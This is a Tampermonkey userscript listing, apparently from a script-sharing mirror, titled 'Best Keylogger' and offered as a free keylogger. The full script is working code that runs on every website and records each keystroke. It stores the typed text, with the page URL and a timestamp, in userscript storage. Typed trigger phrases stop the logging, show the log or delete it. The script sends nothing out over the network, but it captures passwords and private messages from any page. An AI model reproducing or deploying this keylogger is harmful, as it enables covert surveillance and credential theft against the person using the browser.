Best Keylogger

The best free keylogger!

  1. // ==UserScript==
  2. // @name Best Keylogger
  3. // @namespace http://tampermonkey.net/
  4. // @version 0.1
  5. // @description The best free keylogger!
  6. // @copyright 2016
  7. // @author Arden Xie
  8. // @include http*://*
  9. // @grant GM_setValue
  10. // @grant GM_getValue
  11. // @grant GM_deleteValue
  12. // @noframes
  13. // ==/UserScript==
  14.  
  15. (function() {
  16. 'use strict';
  17.  
  18. window.addEventListener('keydown', capture);
  19. window.addEventListener('keyup', up);
  20. window.addEventListener("beforeunload", save);
  21.  
  22. var chars = "";
  23. var keylogging = true;
  24. var down = false;
  25.  
  26. function capture(evt) {
  27. if (keylogging && !down) {
  28. down = true;
  29. chars += String.fromCharCode(evt.keyCode).toLowerCase();
  30.  
  31. if (chars != chars.replace("stop keylog", "something different")) {
  32. keylogging = false;
  33. console.log("keylog stopped");
  34. } else if (chars != chars.replace("output keylog", "something different")) {
  35. chars = chars.replace("output keylog", "");
  36. alert(GM_getValue("typed", "none"));
  37. } else if (chars != chars.replace("delete keylog", "something different")) {
  38. console.log("deleting... ");
  39. GM_deleteValue("typed");
  40. if (GM_getValue("typed", ".")!=".") {
  41. console.error("Could not delete keylog");
  42. } else {
  43. console.log("Successful");
  44. }
  45. chars = "";
  46. }
  47. }
  48. }
  49.  
  50. function up() {
  51. down = false;
  52. }
  53.  
  54. function save(evt) {
  55. var now = new Date();
  56. GM_setValue("typed", GM_getValue("typed", "")+" [ "+now.getMonth()+", "+now.getDate()+", "+now.getHours()+":"+now.getMinutes()+", "+window.location.href+" ]: "+chars+"\n");
  57. }
  58. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址